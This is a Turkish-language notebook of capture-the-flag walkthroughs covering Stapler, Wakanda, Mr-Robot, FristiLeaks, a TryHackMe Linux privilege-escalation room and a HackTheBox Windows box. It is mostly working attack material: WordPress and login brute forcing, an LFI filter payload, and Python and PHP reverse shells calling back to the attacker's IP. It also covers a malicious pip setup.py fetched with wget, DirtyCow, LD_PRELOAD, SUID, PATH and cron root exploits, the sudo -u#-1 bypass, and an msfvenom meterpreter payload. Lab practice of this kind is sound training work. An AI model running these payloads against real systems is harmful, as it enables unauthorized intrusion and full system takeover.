**Ahmet Arif ARSLAN**

**<----------CTF ÇÖZÜMLERİ---------->**

**STAPLER::**

Kalimiz ve Stapler ctf örneğimiz nat networkte::

Kalimizde Terminali açalım:

setxkbmap tr //klavyemizi türkçeleştiriyoruz.

ifconfig //IP adresimize baktık şu an benim (10.0.2.4)

netdiscover -r 10.0.2.0/24 //Ağımızda tarama yaptık Staplerin ip adresini bulduk (10.0.2.7)

nmap command cheat sheet googlede aratırsak nmapin kopya kağıdı gibi düşünebiliriz.

zenmapte yapabiliriz ama nmap daha kolay güzel.

nmap -sV -sC -p- 10.0.2.7 //Staplerin tüm portlarını taratıyoruz.

Çıktı olarak: 20/tcp closed

21/tcp open ftp vsftpd

ftp-anon: Anonymous FTP login yapabiliriz. anonim şekilde giriş mevcut.

Yani kullanıcı adı= anonymous şifre: anonymous

22/tcp open ssh

80/tcp open http //80 portu açıksa bir web sitesi olduğunu anlıyoruz.

3306/tcp open mysql //bu veritabanı web sitesi ile alakalı olabilir.

12380/tcp open http //bi http daha var

FTP,80,httplere bakmak mantıklı önce ftpye bakalım.

Terminalde:

ftp 10.0.2.7

anonymous //kullanıcı adı

anonymous //şifre //bir mesaj çıkıyor harry için bırakılmış bir mesaj, güncelle buraları diye bir mesaj.

dir //ls mantığı,, note diye bir klasör var

get note //notu indirip okuyalım

exit

ls

cat note //Elly diye birine mesaj: güncelleme ve ftp içine bakmayı unutma... //harry ve elly isimlerini not tutalım

Şimdi mozillaya girelim:

10.0.2.7 diye urlmizi açalım. -> Karşımıza boş bir sayfa çıkıyor

Ctflerde kod kısmında bazen ipucu konuluyor. o yüzden sağ tıklayalım sayfaya view page sourceye basalım. ->

Bu ctf örneğimizde burada herhangi bir bilgi yok.

80/tcp open http

http-title: 404 not found yazıyor terminalde natcat aramamızda o yüzden 12380 deneyelim

Mozillada urlye :

10.0.2.7:12380 //Bir sayfa açılıyor Yakında görüşürüz diye.. -> sağ tıklayıp view page sourceye basalım yine sadece css kodları var pek bir ipucu yok.

Kali menü tuşumuzda dirBusteri yazıp açalım.

Target URL ye= http://10.0.2.7:12380 //bu görmediğimiz bir sayfa var mı onu gösteriyor.

Sonra ortadaki browseye basalım

Look ın = / -> usr -> share -> wordlist -> dirbuster -> directory-list-2.3-medium.txt seçip select list yapalım.

Starta basalım.

Hangi sayfalar var arıyor.Bulduğunu listeliyor Resultsta veriyor.

Bunun haricinde terminalde bir new tab açıp

nikto -h http://10.0.2.7:12380 //web sitesi hakkında bilgi ve açık varsa bize bilgi veriyor.

niktoda çıkan sonuçlara göre: ssl sertifikası var

blogblog, robots.txt var diye bilgiyi gördük.

phpmyadmin var gibi bilgileri listelediler.

Mozillaya dönelim:

https://10.0.2.7:12380 //boş sayfa

https://10.0.2.7:12380/blogblog/ //dolu sayfa

https://10.0.2.7:12380/admin112233/ //dolu

https://10.0.2.7:12380/phpmyadmin/

https://10.0.2.7:12380/robots.txt/

https://10.0.2.7:12380/blogblog/ buraya girdiğimizde wordpress ile yapıldığını anlıyoruz //(kodlardan gördük)

Şimdi terminali açalım:

wpscan --url https://10.0.2.7:12380/blogblog/ //tarama yapacak

SSL PEER CERTİFİCATE WAS NOT DİYE BİR HATA ALIRSAK:

wpscan --url https://10.0.2.7:12380/blogblog/ --disable-tls-checks

yazıp taratalım. bu detaylı bir tarama değil genel tarama

bize Linkler geliyor tarama sonucu onları açıyoruz inceliyoruz wordpress versiyonu yazıyor. o versiyonu google yazıp açıklarını aratabiliriz.

wpscan --url https://10.0.2.7:12380/blogblog/ --disable-tls-checks --enumarate u //enamurate u : kullanıcıları buluyor.

wpscan --url https://10.0.2.7:12380/blogblog/ --disable-tls-checks --usernames john --passwords /usr/share/wordlist/fasttrack.txt -t 100 --password-atack wp-login

<----------**********----------
---------->

**WAKANDA CTF ÇÖZÜMÜ:**

Wakandayı indirdik çalıştırdık. Daha sonra kalimize geçiyoruz.

ifconfig //10.0.2.4 bizim ip adresimiz.

netdiscover -r 10.0.2.0/24 //ağımızdaki bütün ip adreslerini arıyoruz. bu çalışmazsa ise nmap 10.0.2.0/24 çalışacaktır.

//hedefin ip adresi 10.0.2.14

Terminalde file -> new tab diyip 2.terminali açalım.

nmap -sS -sV -A -p- 10.0.2.14 //bütün portları taratıyoruz. isteyen zenmap ile yapabilir

Gelen sonuçlarda hangi portlar açık neler var inceleyelim. Mesela 80 portunda bir web sitesi açık onun için

Mozillada:

10.0.2.14 yazıp girelim siteye. sitede pek bir şey yok. sağ tıklayıp view page source basalım.

<!-- <a class="nav-link active" href= "?lang=fr">Fr/a> -->

Burada bir link vermiş yorum satırında language fransızca yapan bir kod satırı

https://book.hacktricks.xyz/pentesting-web/file-inclusion  -->yararlı link

Mesela 10.0.2.14/?lang=fr yapınca urlde site fransızca oluyor. sonra fr yi silince

10.0.2.14/?lang=php://filter/convert.base64-encode/resource=index.php

bize base64 ile şifrelenmiş bir metin çıkıyor. Sitenin kaynak kodlarını incelerken mamadou diye bir isimde görmüştük

base64 google decode edelim

Terminale:

ssh root@10.0.2.14 -p 3333

verilen şifreyi google decode et gir

bu olmuyor

ssh mamadou@10.0.2.14 -p 3333

decode halini gir

ve mamadou ile giriş yapabildik sunucuya.

Sunucunun içindeyiz ama ls, whoami gibi komutlar hata veriyor. python hatası veriyor.

kısaca shell gelmiyor. ama python kodları yazabiliriz. Sunucuya bağlandığımız terminalde:

import pty

pty.spawn("/bin/bash")  //bunu yazdıktan sonra shell gelecek

ls  //flag1.txt geliyor. flag2yi nerede buluruz dersek

locate flag2.txt  //yazınca bize flag2nin yerini gösteriyor

Ama flag2.txt açamıyoruz devops ile sunucuya bağlanmamız gerektiğini söylüyor. biz şuan mamadouyuz

Bizim devops olmamız için yetki yükseltmesi yapmamız lazım

find / -user devops  //devops kullanıcısına ait dosyaları buluyor

Gelen sonuçlarda permission denied yani giriş yapıp okuyamayacağımız dosyalar yani açamayız

sonunda permession denied yazmayanları mamadou olarak okuyup ipucu bulabiliriz. veya sızabiliriz

Gelen sonuçlarda /srv/.antivirus.py var bu python kodunda istediğimiz değişikliği yapabiliriz.

clear

cat /srv/.antivirus.py

cd /srv

ls -la

nano .antivirus.py  //buranın içine python shell yazacağız.

Açılan antivirus.py içine:

```
import socket
import subprocess
import os

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.2.4", 1234))  //kali ip adresimiz
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p=subprocces.call(["/bin/sh","-i"])
```

diğer terminale önce geçelim

nc -nvlp 1234  //dinlemeye başlayalım daha sonra

kodu yazdığımız sunucunun açık olduğu terminalde ctrl+o enter ctrl+x ile kaydedelim

ve daha sonra :

python ./antivirus.py //enter , sonra dinlemeye başladığımız terminale geçip bağlantının yakalanmasını bekleyelim

Devops olduk. bağlantı yakalanınca. sunucu terminalinde ls, cat flag2.txt falan çalıştırdık

Şimdi devopstan yetki yükselterek root olalım.

sudo -l //devops olarak admin gibi çalıştırabileceğimiz dosyaları gösteriyor eğer varsa

//sonuç= /usr/bin/pip çıktı bunu çalıştırabiliriz. pip neydi: python paket yükleyicisi

Google gidip /usr/bin/pip exploit sudo diye aratırsak 0x00-0x00/fakepip-github sayfasında işimize yarar exploit var

3. yeni bir terminal daha açalım: //bu arada sunucuda git yok wget kullanabiliriz

git clone https://github.com/0x00-0x00/FakePip

cd FakePip

ls

nano setup.py //LHOST: 'localhost' yazan yere kali ipmizi yazalım '10.0.2.4'

cat setup.py //değişmiş mi bakalım bu fakepip ctf atmak için şu yol izlenmeli

cp setup.py /var/www/html //içerisine kopyaladık

service apache2 start //setup.py googleda 10.0.2.4 de yayınladık

Google gidersek 10.0.2.4/setup.py yazarsak geliyor

2. Terminale yani sunucunun olduğu terminale dönelim

wget http://10.0.2.4/setup.py

ls -la

cat setup.py //herşey yerinde geriye kalan sudo admin olarak çalıştırmak

3.Terminale tekrar dönüp dinlemeye başlayalım:

clear

nc -nvlp 13372

2.Terminale dönüp:

sudo /usr/bin/pip install . --upgrade --force-reinstall

3.Terminale gidelim root olarak bağlandığımızı görüyoruz.

<----------**********----------
---------->

**MR-ROBOT CTF ÇÖZÜMÜ:**

Mr.Robotu virtualda başlattıktan sonra kaliye girelim.

Terminali açalım::

ifconfig //kendi ip adresimizi öğrenelim.

nmap 10.0.2.0/24 //Mr.robotun ip adresini bulalım.//mr robot ip:10.0.2.15

nmap -T4 -A -V 10.0.2.15//açık olan portları görelim.

Mozillaya girelim. 10.0.2.15 aratalım. Sitede gezindik pek bir şey bulamadık

O yüzden kali menü tuşuna basıp Dirbuster i aratalım ve açalım.

Target URL: hhtp://10.0.2.15/

Auto switch i seçiyoruz

Number of threads 200 go fasteri seçelim

usr->share->wordlist->directory-list.2-3-medium.txt //browseye tıklayıp seçtik

starta basalım.

//wplogin gibi sonuçlar aldık. wordpress kullanılmış.

Terminale dönelim:

nikto -h http://10.0.2.15/ //sitede zafiyet var mı diye genel bir tarama yapıyor.

Bize verilen sonuçları inceleyelim.

Mozillada: 10.0.2.15/robots.txt bakalım. -> içinde key-1-of-3.txt gibi sonuç verdi.

Daha sonra urlyi: 10.0.2.15/key-1-of-3.txt diye aratalım Sonuç: bize flag1i veriyor.

Şimdi 2. bayrağı ele geçirmeye çalışalım. urlde: 10.0.2.15/wp-login diye aratalım.

username ve password istiyor. Robots.txt de bize bir tanede txt dosyası vermişti onun için bruteforce deneyecez

Mesela username=ahmet şifre=1234 yaptığımızda ınvalid username hatası veriyor.

verilen txtde ilk başta kullanıcı adını bulmaya çalışacağız. Daha sonra passwordu

Terminalde:

hydra -V -L fsocity.dic -p test 10.0.2.15 http-post-form'wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Logtln:F=Invalid username'

//V: verbos , L: hangi dosyayı kullanacağımızı , -p: şifre bilerek test ilk kullanıcı adını bulacaz password yanlış hatası alana kadar

//burada hemen Elliot diye bir kullanıcı adı buldu. sırada şifreyi bulmakta istersek hydra istersek wpscan ile bulabiliriz.

wpscan --url 10.0.2.15 --passwords fsocity.dic --usernames Elliot

//Şifre: ER28-0652

Şimdi hedef sunucuyu hacklemek. Googleda php reverse shell cheat sheet aratalım. pentestmonkey sitesine girelim -> upload etmek için

php-reverse-sheel turkuaz renkte olan tuşa basalım. Dosyayı indirelim.

indirdiğimiz dosya Geanyi açalım:

$ip='10.0.2.4';  //kali ipmiz ile değiştik

save edelim.

Wordpreste giriş yapmıştık php sheelimizi içe aktaracaz.

Wordpress Apperanceden -> Editör ü açalım. solda footer.php içindeki kodları silelim. indirdiğimiz php sheel kodlarını copy past edelim.

Altta update file basalım daha sonra terminalde

clear

nc -nvlp 1234  //dinlemeye başladık şimdi injectionu aktif edip bağlantıyı yakalayacaz

Daha sonra mozillaya gidelim. 10.0.2.15/footer.php diye çalıştıralım. terminale dönelim sheel yakalanmış olacak.

Sunucuyu böyle hackledik. whoami=daemon bunu root yapacaz yetki yükseltme yapacaz.

ls

cd root //iznimiz yok

cd home

ls //robot dosyası var içinde 2. bayrak var onu okumak için yetki yükseltmesi yapacaz. birde password dosyası var.

cat password.raw-md5 //gelen md5 şifreyi googleda decode et

python -c 'import pty; pty.spawn("/bin/bash")'

su robot //robot olarak giriş yapacaz. çözdüğümüz şifre altına gir

abcdeghijklmnoprstuvwxyz //şifre

cat key-2-of-3.txt //flag2 yi aldık.

Robot olarak girdik sistemdeyiz. şimdi yine yetki yükseltmesi yapacaz. root olmaya çalışacağız.

Terminalde:

find / -perm -u=s -type f 2>/dev/null

//bu farklı bir kullanıcıyken root gibi açacağımız geçici izin sağlayan bir koddur. Robotken yapabileceğimiz

değişikler izinler nedir onu görüyoruz. Hem rootun hem diğer kullanıcıların izni olan.

//Çıktı olarak işimize yarayabilecek /usr/local/bin/nmap var

nmap --interactive //sheel açtık nmaple

!sh

whoami //root olarak girdik.

<----------**********----------
---------->

**FRİSTİ LEAKS CTF ÇÖZÜMÜ::**

fristi leaks ctfnin ip adresi: 10.0.2.16

kalide terminali açalım.

nmap -T4 -A -v 10.0.2.16 //bir tane 80 portu site bulduk

nikto -h http://10.0.2.16 //web pentesting yaptık.

Mozillayı açtık 10.0.2.16 yazıp bakalım. Pek bir şey yok nmap ve niktoda robots.txt de bulmuştuk

10.0.2.16/robots.txt 3 tane uzantı adresi çıkıyor. Cola, sisi, beer 3ündede hiç bi şey yok. anasayfadada yok

10.0.2.16/fristi yazdık tahmin olarak admin giriş portalı açıldı

Sağ tıklayalım view page sourceden 2 tane yorum satırı var birisi silmem gereken seyler var vs. diğeri alltaki yorum

satırında ise base64 kodu var o kodu kopyaladık.

terminalde 2. terminali açalım

nano passwordctf.txt //sitede bulduğumuz base64 içine yapıştırdık

base64 -d passwordctf.txt //Png diye çıktı aldık o yüzden

base64 -d passwordctf.txt>decrypt64.png //şifreyi png haline decrpyt yaptık.

ls -la

Klasörden açıp bakalım fotoğrafta -> keKkeKKeKKeKkEkkEk diye bir fotoğraf

admin giriş yerinde inceledeğimizde yorum satırlarını bt eezeepz yazmıştı

username=eezeepz

password=keKkeKKeKKeKkEkkEk

yazıp logine basalım login oluyor. karşımıza upload file çıktı ona tıklayalım. php kodu yükleyip reverse sheel yapmaya çalışacağız.

mr robottaki indirdiğimiz reverse sheeli buraya yükleyelim.

Ama hata veriyor png,jpeg veya gif uzantılı olmalı diyor. indirdiğimiz reverse sheeli sağ tıklayıp renameye basalım.

sheel.php.png diye ismini değiştirelim

/uploads içine yüklendi diye cevap veriyor siteye tekrar yüklediğiğimizde,

Terminale geçip (2.Terminal)

nc -nvlp 1234

Daha sonra mozillaya dönüp 10.0.2.16/fristi/sheel.php.png yazıp entere basalım ve terminale döndüğümüzde sheel yakalanmış oluyor.

Sunucuya girdik.

whoami //apache

id //48

cat /etc/passwd

ls -la //cd root giremedik

cd home

ls //admin, eezepz, fristigod

cd eezeepz //buna girdi

ls -la //notes.txt -r--r--r-- dikkatimizi çekti

cat notes.txt // usr/binde izinler vermiş, tmp içine runthis koy diyor

ls -la /usr/bin | grep python //python var bir sheel yazsak runthis içine koysak çalışır

Mozillayı açalım. python reverse sheel cheat sheet diye aratalım. Pentestmonkey sitesini açalım.

Python sheel açma komudunu kopyalayalım Terminale dönelim. 1. terminale clear çekelim:

nano pythonsheel.py //içine yapıştırıp şöyle dönüştürelim:

import socket

import subprocess

import os

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect(("10.0.2.4", 5555))  //kali ip adresimiz

os.dup2(s.fileno(), 0)

os.dup2(s.fileno(), 1)

os.dup2(s.fileno(), 2)

p=subprocces.call(["/bin/sh","-i"])

bu şekilde değiştirelim 1. terminale dönelim.

cp pythonsheel.py /var/www/html

service apache2 start

2.Terminal sunucu tarafına geçelim wget varsa işe yarar ve bu sunucuda wget var:

cd /tmp

la -la

wget http://10.0.2.4/pythonsheel.py

ls -la

cat pythonsheel.py

echo "/usr/bin/python /tmp/pythonsheel.py" > runthis

1.Terminale dönelim

nc -nvlp 5555 //1 dakikada yakalayacaktır. önce dinlemeyi aç en son runthise entere bas

whoami //admin olmayı başardık. ama hala root değiliz

ls -la //cronjop.py, cyrptedpass.txt, cryptpass.py gibi dosyalar var

cat cronjob.py

cat cryptedpass.txt //şifreli bir mesaj var kopyaladık.

cat whoisyourgodnow.txt //gelen şifreyi kopyaladık not aldık.

cat cryptpass.py //neye göre şifrelendiğini görüyoruz. hem base64 hem rot13e göre şifrelenmiş bi kod komutu

ctfdeki cyrpypass.py kodları böyle::

```
import base64,codecs,sys

def encodeString(str):
    base64string=base64.b64encode(str)
    return codecs.encode(base64string[::-1], 'rot13')
cryptoResult=encodeString(sys.argv[1])
print cryptoResult
```

//3 farklı base64, codecs,sys import ediyor

hem base64 ile şifreleniyor codecs ilede rot13 şifreleniyor

sys ise argv verileri alıyor yani biz python crypt.py ahmet dediğimizde ahmeti şifreleyecek.

Şifreleme algoritmasında string alıyor. Bizim verdiğimiz bir string bu da öncelikle base64 encode ediyor. sonrasında base64 ile

encoding edilmiş şifreyi metini ters çevirip ondan sonra o şifreyide rot13 ile şifreliyor. 3 farklı kriptolama var

3.Terminaldeyiz çalışıyor mu diye kontrol etmek için:

nano crypt.py //yukarıdaki kodu yapıştırıp kaydedelim.

python crypt.py ahmet //şifreliyor çıktısı direkt geliyor.

nano decrypt.py //decoder bir python yazacaz içine.

```
import base64,codecs,sys

def decodeString(str):
        decodeString=codecs.decode(str[::-1], 'rot13')
        return base64.b64decode(decodedString)

cyrptoResult=decodeString(sys.argv[1])
print cryptoResult
```

//önce rot13 ü decode ediyoruz. (tersten başlamamız lazım kodda) sonra ters çevirip base64 decode edecez

3. Terminalde:

python decrypt.py mVGZ3o3omkJLmy2pcuTq //thisisalsopw123 verdi

python decrypt.py =RFn0AKnlMHMPIzpyuT10IG //letthereBeFristi! verdi

1.Terminale dönelim muhtemelen fristigodun şifresi.

önce bir sheel açalım.

python -c 'import pty; pty.spawn("/bin/sh")'

whoami //admin

su fristigod

letthereBeFristi! //fristigod olarak giriş yaptık.

pwd //nerdeyiz home/admindeyiz

ls -la //çalıştırmadı

cd..

ls -la //fristigod

cd fristigod

find / -user fristigod //fristigod hangi dosyları açma izni var ona baktık

cd /var/fristigod

ls -la

cat .bash_history //ne çalıştırmış geçmişte ipucu buluyoruz. karşımıza gelen .bash_historyde fristi olarak doCom çalıştırmış

cd .secret_admin_stuff

ls -la

sudo -u fristi ./doCom ls /  //şifre istiyor fristigodun (ipucubuydu)

letthereBeFristi!

Farklı bir terminale geçip new tab ile

nano pythonsheel.py  //burada portu değişelim 3333 yaptık

service apache2 start

Yine 1. Terminale dönelim

wget http://10.0.2.4/pythonsheel.py  //sheeli açtık portu değiştirmiştik

sudo -u fristi ./doCom /usr/bin/python /var/fristigod/.secret_admin_stuff/pythonsheel.py

entere basmadan başka bir yeni bir terminalde:

nc -nvlp 3333  //daha sonra root olduk.

<----------**********----------->

**LİNUX YETKİ YÜKSELTMESİ::**

Kali linuxteyiz.

https://tryhackme.com/access adresine girip

EU-Regular-2 vpn server

Download my configuation file diyelim. indikten sonra

Terminali açalım..

cd Downloads/

openvpn ahmedarslann.ovpn //vpni çalıştıracaktır.

Mozillaya dönelim tekrardan

https://tryhackme.com/room/debianprivesc

task1 e girip Deploya basalım. makinayı başlatacaktır.

IP adresi 1 dkda açılacaktır. o ip adresini kopyalayalım.

Kullanıcıadı=user

parola=james321

//bunlar verildi bize zaten buradaki amaç root olmak yetki yükseltmek.

***

Kalimize dönelim: İLK YAPILMASI GEREKEN BİLGİ TOPLAMA KOMUTLAR:

clear

ssh user@10.10.197.56 //bu ip tryhackmenin verdiği

Yes

james321 //parola girdik.

clear

ls -la //içinde hazır sheeller var.

cd..

clear

whoami //ilk hacklediğimizde yapmamız gereken

id //bu da ilk yapmamız gereken

uname -a //ne çalıştırıyoruz linux mu debian mı

ps aux //hangi kullanıcı ne çalıştırıyor gibi bilgi toplayabiliriz.

cat /etc/passwd //başka kullanıcılar var mı root haricinde kim var

cat /etc/shadow //şifreler bunun içinde olur ama root açabilir.

ifconfig //başka makinalar ağda var mı başka yerlere gitmemiz gerekiyor mu

arp -a //ip ve mac eşleşmesini görüyoruz

locate password //password klasörlerini listeliyor.

find / -name password 2> /dev/null/ //içinde password geçenleri getir

history //bizden önceki kullanıcıyı görürsek neler yaptığını görebiliriz.

(BURAYA KADAR BİLGİ TOPLAMA İLK YAPILMASI GEREKENLER)

****

**KERNEL EXPLOİT (YETKİ YÜKSELTMEYE BAŞLIYORUZ)::**

ping google.com //internete açık mı sunucu bakalım.

cd tools

ls

cd linux-exploit-suggester/ //bu tools hazır var. bize exploit öneriyor.,

ls

./linux-exploit-suggester.sh //bize bir sürü exploit önerdi

//dirtycow en kullanılan Download URL: kopyaladık bu exploit donanım ve yazılım arasındaki köprü yani kernel bu sistem açığı

ile root olmak kolay. C kodudur. ama internet yok ise indirmek için

uname -a //linux debian 2.6.32-5- kopyala araştır açıklarını bu sürümün...

cd..

ls

cd dirtycow

ls //c0w.c var onu çalıştırabilmek için.

gcc c0w.c -pthread -o dirtycow //-o : çıktı ismi

ls //dirtycow adında bir dosya geliyor çalıştırılabilir (yeşil)

./dirtycow //çalıştırılıyor. yani internetten bir c dosyası indirip çalışır hale getirdik

//biraz bekleyelim madsive, ptrace geldikten sonra

passwd //yazıp entere basalım kullanıcı userden -> root olacaktır.

//önceki bölümlerde hazıra konmamak için uğraşıyorduk yetki yükseltmelerinde dirtycow kullanılabilir. hızlı ve sonucu iyi olabilir.

id //root id

whoami

su user //Tekrar user olmak istersek yazmamız gereken komut

Dirtycow Download URLsi : https://www.exploit-db.com/download/40611
//40616 -> 2dirtycow

******

**PAROLA BULMAK:::**

Yine user içerisindeyiz. Roottan çıktık başka hangi yollarla yapabiliriz ona bakacağız.

ls -la //en baştayız user tools kalsörü

cat .bash_history //daha önce çalıştırılan komutları gösteriyor.

find . -type f -exec grep -i -I "PASSWORD" {} /dev/null/ \;

ls -la /etc/passwd //-rw-r--r-- okuma iznimiz tek var

cat /etc/passwd //sadece görüntüleme var

ls -la /etc/shadow //-rw-r------ userin bunu okuma hakkı yok.

**SUDO LİST::**

sudo -l  //list. Ne yapıyo bu komut: root olmadan çalıştırabileceğimiz dosyaları listeliyor.

sudo /usr/bin/nmap --interactive  //ls de gelen root olma zafiyeti

!sh  //sh sheeli alıyorduk. root oluyoruz.

exit

exit

**

sudo /usr/bin/vim -c '!/bin/sh'  //yine sh sheel aldık root olduk.

exit

exit

:q!  //çıkış yapmak için.

*********

**SHADOW::**

sudo /usr/sbin/apache2 -f /etc/passwd

//cat /etc/passwd gelen ilk root bilgisini bu getiriyor bunu shadowda deneyelim.

sudo /usr/sbin/apache2 -f /etc/shadow

//bu normalde userda görüntülenmiyorda şifre dosyası shadow ama bu komutla rootun şifresini şifreli halde veriyor bize.

**********

**PRELOAD::**

user kullanıcısındayız yine.

sudo -l  //yazdığımızda başta LD_PRELOAD diye bir şey görüyoruz. bu önceden yüklemek demek.

//aşağıdaki /usr/bin/nmap gibileri çalıştırmadan önce bir kütüphane kurmak istiyorsak bunu kullanabiliyoruz..

normalde buna erişimimiz olmaması lazım. diyelim ki user gibi bir kullanıcıda bu karşımıza geliyorsa istediğimiz

kütüphaneyi yükleyebiliriz. ctflerde karşımıza çıkacaktır. C kodu kullanacağız.

pwd  //home/userdayız

nano library.c  //c kodu yazacaz içine

```
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init(){
        unsetenv("LD_PRELOAD");
```

```
        setgid(0);              //root id , grup idsini 0 olarak değiştir
        setuid(0);              //kullanıcı idsinin 0 yap root yap
        system("/bin/bash");
}
```

//ctrl+o enter ctrl+x

gcc -fPIC -shared -o /tmp/library.so library.c -nostortfiles

//bunu çalıştırdıktan sonra kod çalıştırılabilir bir hale getiriliyor.

sudo LD_PRELOAD=/tmp/library.so nmap  //enterladıktan sonra root oluyoruz...

whoami  //root

**********

**SUİD DETAYLAR::**

(SET USER ID AÇILIMI YANİ KULLANICI IDSİNİ AYARLA)

ls -la

//Gelen dosya listesinde başında= drwxr -xr -x diye başlayan dosya , s ile başlayan görürsek suid ile çalıştırılabilir.

(rwsr) -> suid ile çalıştırılabilen arama kodu

find / -type f -perm -04000 -ls 2>/dev/null

//tüm dosyalarda suid ile çalışabilen dosya kalsörleri getiriyor.
usr/local/bin/suid-so bu işe yarar bir dosya bununla çalışacağız

**SUİD YETKİ YÜKSELTMESİ::**

strace //kali aracıdır Yapılacak işlemi takip ediyor. çalıştırdığımız dosya neler yapıyor adım adım söylüyor bize

strace /usr/local/bin/suid-so 2>&1|grep -i -E "open|access|no such file"

//bu bize no such file olan erişemediği dosyaları getiriyor

Mesela open ("/home/user/.config/libvalc.so" dosyasına erişemiyor bakıyoruz .config yok zaten

kendimiz manuel .config yapıp içine c kodu yazıp yetki yükseltme yapabiliriz. önce libcalc.c

yazıp onu libcalc.so ya çevireceğiz ve suid-so çalıştırdığımızda otomatik bu dosyada çalışacaktır.

mkdir .config //config oluşturalım.

cd .config

nano libcalc.c //içine

```
#include <stdio.h>

#include <stdlib.h>


static void ahars() __attribute__((constructor));

void ahars() {
```

system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");

}

//bir tane method var. yani sistemde bin/bash alıp tmp/bash kopyalıyor ve +s suid veriyor tmp/bashe ve

en son çağırıyor ve bizde root olabiliyoruz.

ls -la //libcalc.c görüyoruz.

gcc -shared -fPIC -o /home/user/.config/libcalc.so /home/user/.config/libcalc.c

ls -la //libcalc.so yeşil oldu

/usr/local/bin/suid-so //ENTER dedikten sonra root oluyoruz.

**********

**ÇEVRESEL DEĞİŞKENLER::**

Yukarıdakinden çıktık exit ile user olduk yine farklı bir method

find / -type f -perm -04000 -ls 2>/dev/null

//Gelen listede suid-so ya baktık, suid-env diye gelen bir şey var ona bakacağız.

/usr/local/bin/suid-env //çalıştırdığımızda start apache2 start yapıyor

strace /usr/local/bin/suid-env //gelen adımları görüyoruz

strings /usr/local/bin/suid-env //en sonda apache2 start gördük emin olduk.

//burada yapacağımız service apache2 starta gideceğine bizim yazacağımız şeye gitmeye çalışmak Yine bir C kodu yazacaz.

```
echo 'int main() {setgid(0); setuid(0); system("/bin/bash");
        return 0;}' > /tmp/service.c
```

//tmp içine service olarak kaydediyoruz.

cat /tmp/service //yazdığımız kod gözküyor

gcc /tmp/service.c -o /tmp/service

export PATH=/tmp:$PATH //service çalıştırıldığında bizim erişiyor olmamız lazım service değiştik diğer çalışan service ile

/usr/local/bin/suid-env //artık bunu çalıştırdığımızda root olacağız.

**********

**CRONTAB:::**

Yine useriz

cat /etc/crontab //cronları detaylı gösteriyor

//çalıştırılan dosyalar geliyor. 2 tanesi en aşağıda deneyelim

cat overwrite.sh //bulunamadı diyor yok yani

cat /usr/local/bin/compress.sh //bu var mesela

// cat overwrite olsaydı root olarak çalıştırılacaktı.

// * * * * * root overwrite.sh //her dakika çalıştırılır. diğerleri dakikalı günlü aylı programlı

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh

chmod +x /home/user/overwrite.sh

ls -la //bash gördük

/tmp/bash -p //çalıştırdığımızda artık root oluyoruz

**********

**SUDO VERSİYON AÇIĞI:::**

Kalide terminaldeyiz Farklı bir ctf örneği bu. vpn açık..

ssh -p 2222 tryhackme@10.10.158.83

Yes

tryhackme  //şifre

ls -la  //tryhackme kullanıcısıyız

sudo -u#0 /bin/bash  // -> bu bize root parolasını soruyor.

sudo -u#-1 /bin/bash  //root oluyoruz. 2019 versiyon açığı

<----------**********----------
---------->

**WİNDOWS SIZMA TESTLERİ VE YETKİ YÜKSELTMESİ:::**

Hacktheboxun ücretli bir ctf örneği. Kalideyiz terminali açalım::

nmap -T4 -A -v -p- 10.10.10.5

//ftp-anon: Anonymous FTP login diyor. Anonymous şekilde girebiliriz yani, 80 portu açık, windows sistemi

//21 ftp portuda açık weble bir işimiz yok gibi ftp bağlanmak için:

ftp 10.10.10.5

anonymous //name

anonymous //şifre

dir //bu komut ls in windows karşılığı ls ile aynı işi yapıyor

new tab diyip yeni bir terminal penceresi açalım. Bir şeyler yükleyebilir miyiz ftp windows sunusuna ona bakalım

nano ahmet.txt //içine test test yazalım ctrlo enter ctrlx

Tekrar windows sunucusunun açık olduğu terminal penceresini açalım

put ahmet.txt //put koymak upload etmek

dir //ahmet.txt gelecek windows sunucumuza

Mozillayı açıp 10.10.10.5/ahmet.txt yazarsak test test geliyor. sunucuya dosya upload edip erişebiliyoruz.

mozilaya gidelim reverse shell cheat sheet diye aratalım.

PayloadsAllThings/ReverseShell Cheatsheet.md olan github açalım.

Aşağılarda windows staged reverse shell tcp açalım.

Kendi terminalimizde ipmize bakalım -> ifconfig -> tun0 inet: 10.10.14.15 bizim vpnli hali

clear

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.15 LPORT=4242 -f aspx > ahars.aspx  //kendi kalimizdeyiz

ls -la | grep ahars.aspx

cat ahars.aspx

clear

msfconsole

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

show options

set LHOST 10.10.14.15

set LPORT 4242

exploit -j -z  //arka planda çalışsın diye dinlemeye başladık.

1. Terminalde windows sunucu kısmına gidelim şimdi:

put ahars.aspx

dir  //geldiğini gördük

Mozillaya geçelim ve 10.10.10.5/ahars.aspx enterlayalım.

2. terminale geçelim kalimize

Meterpreter session 1 opened diyecek. Entere basıp

sessions -l

sessions -1

sysinfo //bize info veriyor

dir //bütün dosyaları geliyor ve C klasöründeyiz

cd..

cd..

dir

shell //windows shelline gidiyor

whoami //apppool\web diye bir kullanıcı

dir

cd Users

dir

cd Administrator //giremiyoruz

exit //meterpreter sessionumuza geri dönelim.

Şimdi root olmaya çalışacağız Windowsta adminstrator veya system user deniyor

shell çalıştırıp windows shelle geçersek sysinfo,ls gibi komutlar çalışamaz systeminfo dir çalışır

windows shellinde hangi yetkilere sahibiz görmek için whoami /priv yazmamız yeterli

Mesela net user dedik mi administrator = babis diye bilgide alabiliyoruz

net user babis yazarsak babisin bilgilerini yetkilerini görebiliriz

netstat -ano //bu açık olan portları gösteriyor

findstr /si password *.txt //içinde password geçen txtleri her şeyi getiriyor

findstr /si password *.xml //.ini de bunlarıda aratabiliriz

sc query windefend //yazıp windows defendirin çalışıp çalışmadığını görebiliriz.

sc query type= service //çalışan servisleri görüntülüyor

netsh firewall show state //burada firewall var mı açık mı kapalı mı görebiliyoruz.

**********

**EXPLOİT SUGGESTER::**

Google gidip mozilladan windows exploit suggester yazalım.

AonCyberLabs e girelim Github sayfası bu. Gelen sayfada yeşil codeye basıp download zip diyelim.

